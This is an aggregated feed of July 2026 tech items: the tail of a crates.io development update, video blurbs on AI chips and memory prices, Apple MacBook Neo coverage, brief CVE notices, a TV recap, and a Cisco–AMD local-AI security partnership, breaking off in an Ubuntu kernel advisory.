The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.
Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.
New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.
Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!
CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.
Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.
Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.
Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

Why PC Memory is Stuck in 1995 (Unified Memory Explained)

Sat, 25 Jul 2026 08:36:06 +0200

Author: Techquickie - Bewertung: 10104x - Views:195333

Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!

PC/Console: https://playwt.link/techquickie
Mobile: https://wtm.game/techquickie

Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it's called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!

Leave a reply with your requests for future episodes.

► SHOP OUR PRODUCTS: https://lttstore.com
► GET A VPN: https://www.piavpn.com/TechQuickie
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners

Google’s New Dual-TPU Chip Made The Most Advanced AI GPUs Look Like a JOKE!

Sat, 25 Jul 2026 08:36:03 +0200

Author: Evolving AI - Bewertung: 328x - Views:12498

Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and TPU 8i for AI inference and reasoning. The company believes future AI infrastructure needs specialized hardware rather than one general-purpose accelerator. In this video, we break down Google's new TPU architecture, including 121 exaflops of compute, superpods with up to 9,600 chips, 2 petabytes of shared memory, Virgo networking, TPUDirect, Boardfly topology, Axion CPUs, and next-generation liquid cooling. We also explain why Google optimized TPU 8i for reasoning models, AI agents, and massive inference workloads with 288GB of HBM and dramatically improved memory performance. Could Google's specialized TPU strategy become the future of AI computing? And is this the first real architectural challenge to NVIDIA's GPU dominance?

#Google #TPU #NVIDIA #AIChips #ArtificialIntelligence #GoogleCloud #Semiconductors

NVIDIA Built a GPU in The Size of a FACTORY That Can Wipe Out Entire AI Hardware INDUSTRY!

Sat, 25 Jul 2026 08:36:02 +0200

Author: Evolving AI - Bewertung: 452x - Views:13629

NVIDIA just unveiled Rubin, but this isn't just another GPU. It's a complete AI factory built to power the next generation of artificial intelligence. In this video, we break down NVIDIA's Vera Rubin platform, a fully co-designed AI system that combines the Vera CPU, Rubin GPU, NVLink 6, BlueField-4 DPU, ConnectX-9 SuperNIC, and Spectrum networking into one massive AI infrastructure platform. You'll learn why Rubin delivers up to 50 petaflops of AI inference, 288GB of HBM4 memory per GPU, 3.6 exaflops of compute per NVL72 rack, over 260TB/s of NVLink bandwidth, and why NVIDIA claims up to 10x lower AI inference costs than Blackwell. We also explore why AI companies like Microsoft, OpenAI, Anthropic, Meta, xAI, Google, AWS, Oracle, and CoreWeave are already adopting Rubin, and why NVIDIA believes the future of AI isn't a faster GPU; it's an entire factory built to manufacture intelligence. Is Rubin the biggest leap in AI hardware yet, or the beginning of a completely new era of AI infrastructure?

#NVIDIA #Rubin #AIFactory #AIChips #ArtificialIntelligence #HBM4 #DataCenter

Why The Fastest Memory Isn't In Your PC (HBM explained)

Sat, 25 Jul 2026 08:35:58 +0200

Author: Techquickie - Bewertung: 4552x - Views:77047

Thanks to Micron for sponsoring this video!

To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm

Interested in helping to shape the future of cutting edge memory and storage: https://www.micron.com/about/careers

Modern AI chips don't run on the kind of memory in your gaming PC. They run on something that's literally stacked into a tiny skyscraper, with tens of thousands of microscopic data tunnels drilled through it and a custom silicon motherboard underneath. We sat down with the engineers at Micron to break down how High Bandwidth Memory actually works, why it's the backbone of every serious AI accelerator on the planet, and why your gaming GPU still uses a totally different kind of memory.

Leave a reply with your requests for future episodes.

► SHOP OUR PRODUCTS: https://lttstore.com
► GET A VPN: https://www.piavpn.com/TechQuickie
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners

AMD's 19.6 TB/s Monster AI-Chip Just Made NVIDA's VERA RUBIN Look Like a JOKE!

Sat, 25 Jul 2026 08:35:56 +0200

Author: Evolving AI - Bewertung: 614x - Views:23208

AMD may have finally built a real challenger to NVIDIA’s AI empire. In this video, we break down the AMD Instinct MI400 series and the flagship MI455X AI accelerator, featuring 432GB of HBM4 memory, 19.6TB/s of memory bandwidth, up to 40 petaflops of FP4 compute, and an advanced chiplet architecture designed for next-generation AI training and inference. But AMD’s real weapon is bigger than one chip. The Helios rack-scale AI platform combines 72 MI455X GPUs with next-generation AMD EPYC “Venice” CPUs, massive HBM4 capacity, high-speed networking, ROCm software, and open technologies like UALink to challenge NVIDIA’s tightly integrated AI infrastructure. We also explore how AMD plans to compete with NVIDIA Vera Rubin, the importance of ROCm versus CUDA, and why major AI companies and cloud providers are increasingly looking for alternatives to NVIDIA. Could AMD finally turn the AI accelerator market into a real two-company war?

#AMD #NVIDIA #MI455X #AIChips #InstinctMI400 #Helios #ArtificialIntelligence

NVIDA's New DGX Stations Destroying The Entire AI INDUSRTY!

Sat, 25 Jul 2026 08:35:45 +0200

Author: Evolving AI - Bewertung: 791x - Views:22194

NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU with 20,480 CUDA cores, 748GB of unified coherent memory, and up to 20 petaflops of AI compute. It's designed to run massive AI models locally, eliminating many of the memory limitations that force developers to rely on expensive cloud GPUs. In this video, we break down the DGX Station architecture, unified memory, NVLink C2C, HBM3e, local AI inference, trillion-parameter model claims, real-world pricing, and why NVIDIA believes desktop AI workstations are the future of artificial intelligence development. We also compare the DGX Station with DGX Spark, Apple’s Mac Studio, cloud GPU infrastructure, and explain why local AI could become the next major shift in computing.

Is NVIDIA reinventing the personal computer for the AI era?

#NVIDIA #DGXStation #Blackwell #AIWorkstation #ArtificialIntelligence #LocalAI #CUDA

This Chinese Company Destroyed The DDR5 RAM Prices Over Night - $500 to $50!

Sat, 25 Jul 2026 08:35:27 +0200

Author: Evolving AI - Bewertung: 782x - Views:17162

RAM prices have exploded over the past two years, but a little-known Chinese company may finally be changing that. While Samsung, SK hynix, and Micron shifted their factories toward high-profit AI memory, everyday DDR5 RAM became harder to find and dramatically more expensive. Now, China's CXMT is stepping in with a massive expansion of DDR5 production, potentially bringing competition back to one of the world's most concentrated semiconductor markets. In this video, we break down why RAM prices skyrocketed, how AI created the global memory shortage, CXMT's rapid rise, its new DDR5 and LPDDR5X lineup, the company's record-breaking IPO, HBM ambitions, and whether this could finally make PC memory affordable again.

Could CXMT become the fourth memory giant—and finally end the RAM shortage?

#CXMT #DDR5 #RAM #Semiconductors #AI #China #Technology #PC

AMD's New Helios AI Just Made NVIDIA's $5 Million AI Rack Look Like a JOKE!

Sat, 25 Jul 2026 08:35:19 +0200

Author: Evolving AI - Bewertung: 64x - Views:1898

AMD may have just launched the biggest challenge NVIDIA has faced in years. Helios isn't just another AI GPU it's AMD's first full rack-scale AI supercomputer, powered by 72 Instinct MI455X GPUs, 18 EPYC Venice CPUs, and an incredible 31TB of HBM4 memory. Built to compete directly with NVIDIA's Grace Blackwell and Vera Rubin platforms, Helios is already being deployed by Microsoft, Meta, Oracle, OpenAI, and other AI giants. In this video, we break down AMD Helios, Instinct MI455X, EPYC Venice, HBM4 memory, Helios vs NVIDIA Vera Rubin, Microsoft's Azure deployment, Meta's AI infrastructure, ROCm, CUDA, AI data centers, and why AMD believes it can finally challenge NVIDIA's dominance in the AI chip market. Is Helios the system that finally gives NVIDIA real competition?

#AMD #Helios #NVIDIA #AI #ArtificialIntelligence #MI455X #Technology #Semiconductors

Naturmomente und Bauwerke: Die Bilder der Woche 30

Sat, 25 Jul 2026 08:18:52 +0200

Hoch, quer, quadratisch bunt: Unsere sieben Bilder der Woche erinnern dieses Mal an ein abwechslungsreiches Memory-Spiel.

MacBook Neo’s success wasn’t luck, it was a plan

Sat, 25 Jul 2026 06:47:11 +0200

It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.

And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the company is already planning a powerful follow-up.

That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases.

The numbers don’t lie

“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said in a post Wednesday. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction.

Recent IDC data gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.

“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director Olivier Blanchard said when the Neo was released.

Neo 2.0 is already coming

In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is already plotting the path toward MacBook Neo 2. Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.

Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again.

That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC.

“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”

This was never about luck

This isn’t solely a market take about competition, it’s about planning.

Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.

The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.

With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of even more significant market change.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

CVE-2026-14257 | juliangruber brace-expansion up to 5.0.7 expand memory allocation (EUVD-2026-48285)

Sat, 25 Jul 2026 01:53:27 +0200

A vulnerability labeled as problematic has been found in juliangruber brace-expansion up to 5.0.7. This affects the function expand. Executing a manipulation can lead to uncontrolled memory allocation. This vulnerability appears as CVE-2026-14257. The attack may be performed from remote. There is no available exploit. The affected component should be upgraded.

Framework Passes Rising Memory and Processor Costs to Buyers, With a Twist

Sat, 25 Jul 2026 01:32:53 +0200

Preordered laptops might not get a price change, but they could have less RAM.

CVE-2022-40303 | libxml2 up to 2.10.2 XML Document memory corruption (EUVD-2022-43600 / Nessus ID 211168)

Sat, 25 Jul 2026 00:10:56 +0200

A vulnerability classified as critical was found in libxml2 up to 2.10.2. This vulnerability affects unknown code of the component XML Document Handler. Executing a manipulation can lead to memory corruption. This vulnerability appears as CVE-2022-40303. The attack may be performed from remote. There is no available exploit. Upgrading the affected component is advised.

CVE-2026-61865 | ImageMagick prior 7.1.2-26/6.9.13-51 Hough Lines Operation memory leak (Nessus ID 329314)

Fri, 24 Jul 2026 23:15:40 +0200

A vulnerability, which was classified as problematic, has been found in ImageMagick. This vulnerability affects unknown code of the component Hough Lines Operation. This manipulation causes memory leak. This vulnerability is handled as CVE-2026-61865. The attack can be initiated remotely. There is not any exploit available. It is advisable to upgrade the affected component.

CVE-2026-61869 | ImageMagick up to 7.1.2-25/up to 6.9.13-50 MIFF Encoder memory leak (Nessus ID 329314)

Fri, 24 Jul 2026 23:15:36 +0200

A vulnerability, which was classified as problematic, has been found in ImageMagick up to 7.1.2-25/up to 6.9.13-50. This impacts an unknown function of the component MIFF Encoder. The manipulation leads to memory leak. This vulnerability is traded as CVE-2026-61869. It is possible to initiate the attack remotely. There is no exploit available. It is advisable to upgrade the affected component.

Roku Raises Prices of Streaming Devices By Up To 60%

Fri, 24 Jul 2026 23:13:45 +0200

Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said the company made the tough decision to raise prices on its streaming hardware to address shortages in computer memory and other components caused by the artificial intelligence rush. [...] Still, the executive who spoke with The Desk on Friday said the company believes its hardware is still competitive against other streaming TV hardware because Roku devices are still priced aggressively compared to the Apple TV and other expensive streaming hardware, and the company remains focused on looking at ways to add value to its Roku platform before and after it enters a customer's home. "We are doing our best to have great deals like what we have going on right now," the executive said. "Roku is even upping the price for a bundle that includes a Streaming Stick Plus and a one-month subscription to Fox One," notes Ars Technica in a separate report. "As recently as July 20, Roku listed the bundle at $60 with a sale price of $25, according to the Internet Archive's Wayback Machine. Now, the bundle carries an $80 MSRP and $45 sale price."

Apple preps next-gen MacBook Neo with A19 Pro chip, more memory, and new colors amid broader Mac overhaul

Fri, 24 Jul 2026 23:02:11 +0200

Apple is developing an updated MacBook Neo featuring more memory, an upgraded A19 Pro chip, and additional color options as part…

The post Apple preps next-gen MacBook Neo with A19 Pro chip, more memory, and new colors amid broader Mac overhaul appeared first on MacDailyNews.

CVE-2026-61863 | ImageMagick prior 7.1.2-26/6.9.13-51 TIFF Encoder memory leak (Nessus ID 329314)

Fri, 24 Jul 2026 22:41:03 +0200

A vulnerability has been found in ImageMagick and classified as problematic. This affects an unknown part of the component TIFF Encoder. This manipulation causes memory leak. The identification of this vulnerability is CVE-2026-61863. It is possible to initiate the attack remotely. There is no exploit available. The affected component should be upgraded.

CVE-2026-61864 | ImageMagick prior 7.1.2-26/6.9.13-51 Color Transformation memory leak (Nessus ID 329314)

Fri, 24 Jul 2026 22:40:58 +0200

A vulnerability categorized as problematic has been discovered in ImageMagick. The impacted element is an unknown function of the component Color Transformation. The manipulation results in memory leak. This vulnerability is cataloged as CVE-2026-61864. The attack may be launched remotely. There is no exploit available. It is advisable to upgrade the affected component.

‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything

Fri, 24 Jul 2026 21:28:49 +0200

Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew. Warning: Major spoilers for Silo Season 3, Episode 4 follow. Episode title: “Whatever You Do, Don’t Go Home” Release date: July 24, 2026 Genre: Science fiction, drama and mystery Season length: 10 episodes Season 3 finale: September 4, 2026 Juliette escapes from Medical The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand. Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself. Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along. Juliette discovers Bernard alive Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo. At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him. Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system. Billings investigates Orla’s murder Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel. Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas. Daniel and Helen follow the conspiracy In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message. Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends. Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.

Apple wants a 20% price cut on iPhone 18 Pro Max OLED panels

Fri, 24 Jul 2026 21:02:54 +0200

Apple is pushing suppliers for a 20% price cut on iPhone 18 Pro Max OLED panels, even as materials and memory chip costs climb.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Linux Kernel 7.1.4 Released with Bug Fixes, Security Updates, and Hardware Improvements

Fri, 24 Jul 2026 20:32:46 +0200

by George Whittaker

Greg Kroah-Hartman has announced the release of Linux Kernel 7.1.4, the latest stable maintenance update for the Linux 7.1 series. As with other stable kernel releases, version 7.1.4 focuses on fixing bugs, improving hardware compatibility, and addressing security and reliability issues without introducing new features. The update became available on July 18, 2026, and users of the Linux 7.1 branch are encouraged to upgrade as soon as possible.

Rather than changing the kernel's feature set, Linux 7.1.4 delivers dozens of targeted fixes collected from developers across multiple kernel subsystems, helping ensure a more stable experience for desktops, servers, embedded devices, and cloud deployments.

Another Important Stable Maintenance Release

The Linux stable branch exists to provide safe updates between major kernel versions. Every stable release undergoes review before being published and contains fixes that have already been tested in the mainline kernel.

Linux 7.1.4 continues this process by incorporating patches that resolve regressions, improve system stability, and fix issues reported by users since the release of Linux 7.1.3.

For most users, these maintenance updates are recommended because they improve reliability without altering existing functionality.

Bug Fixes Across Multiple Kernel Subsystems

Like previous stable releases, Linux 7.1.4 includes fixes spanning many areas of the kernel.

The update addresses issues affecting:

Memory management
File systems
Networking
Device drivers
Architecture-specific code
Core kernel infrastructure
USB and storage subsystems

These targeted patches help eliminate crashes, improve compatibility with newer hardware, and resolve edge cases that may only appear under specific workloads.

Improved Hardware Compatibility

One of the ongoing goals of Linux stable releases is expanding support for existing and newly released hardware.

Linux 7.1.4 includes updated drivers and compatibility fixes for various devices, helping improve support for:

Graphics hardware
Storage controllers
Networking devices
USB peripherals
Laptop components
ARM development boards

Although no major driver additions are expected in a maintenance release, incremental improvements like these often resolve hardware-specific bugs reported by users after earlier releases.

Security and Reliability Updates

Stable kernel releases also include security-related fixes that have been accepted into the maintenance branch.

Go to Full Article

Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems

Fri, 24 Jul 2026 19:18:26 +0200

Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.

During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Patel took to the stage during AMD CEO Lisa Su’s keynote to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and AMD are partnering to develop.

The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s Yash Sheth, senior director, engineering and research, in a blog post about the new package.

Ryzen AI Halo (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.

width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">

AMD

Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.

Cisco also brings its AI Defense for model and agent security; DefenseClaw for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and Cisco Cloud Control offering a single pane of glass for unified policy and control, Sheth stated.

“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.

“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”

As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a statement from AMD.

“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.

“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.

A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:

AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.
AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.
The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.
Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.

One of the best 2-in-1 Chromebooks is almost $200 off for today only

Fri, 24 Jul 2026 17:19:46 +0200

Most Chromebooks ship with only 8GB of RAM, which is enough for some people, but certainly not enough for me. Multitaskers who want more memory in their next Chromebook should check out Best Buy, which is discounting Acer’s Chromebook Plus Spin 514 for the remainder of the day. Originally $749 for the configuration with 12GB […]

[$] An update on netkit and the use of BPF in user space

Fri, 24 Jul 2026 15:33:31 +0200

Daniel Borkmann led a session at the 2026 Linux Filesystem, Memory-Management, and BPF Summit about the progress that has been made with netkit, the subsystem that allows virtual machines (VMs) running on Linux to perform networking efficiently. When that did not fill the full time, he went on to discuss his idea for using BPF to live-patch user-space applications. While netkit is making progress, and can now support zero-copy receipt of packets into a VM in a network namespace, the idea of using BPF for patching user-space programs remains entirely speculative.

USN-8604-1: Linux kernel (Azure) vulnerabilities

Fri, 24 Jul 2026 14:17:46 +0200

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Foo-over-UDP (FOU); - ARM64 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Drivers core; - Null block device driver; - Bluetooth drivers; - Counter interface drivers; - DMA engine subsystem; - DPLL subsystem; - GPIO subsystem; - GPU drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - On-Chip Interconnect management framework; - IOMMU subsystem; - IRQ chip drivers; - Modular ISDN driver; - LED subsystem; - Multiple devices driver; - UACCE accelerator framework; - MMC subsystem; - Ethernet bonding driver; - Network drivers; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - NVME drivers; - Device tree and open firmware driver; - PHY drivers; - x86 platform drivers; - i.MX PM domains; - SCSI subsystem; - SLIMbus drivers; - SPI subsystem; - TTY drivers; - USB Host Controller drivers; - USB over IP driver; - W1 Dallas's 1-wire bus driver; - Xen hypervisor drivers; - BTRFS file system; - File systems infrastructure; - EFI Variable file system; - Ext4 file system; - FUSE (File system in Userspace); - Network file systems library; - Network file system (NFS) client; - Network file system (NFS) server daemon; - SMB network file system; - Memory Management; - Kernel thread helper (kthread); - Memory management; - Scheduler infrastructure; - Tracing infrastructure; - IPv6 networking; - Netfilter; - NFC subsystem; - io_uring subsystem; - Perf events; - Kernel exit() syscall; - Hibernation control; - Timer subsystem; - BPF subsystem; - Floating proportions library; - Scatterlist API; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAN network layer; - Ceph Core library; - Networking core; - IPv4 networking; - L2TP protocol; - MAC80211 subsystem; - Multipath TCP; - NET/ROM layer; - RxRPC session sockets; - Network traffic control; - SCTP protocol; - SMC sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - ALSA AC97 driver; - Creative Sound Blaster X-Fi driver; - Texas InstrumentS Audio (ASoC/HDA) drivers; - USB sound devices; (CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183, CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187, CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195, CVE-2025-71196, 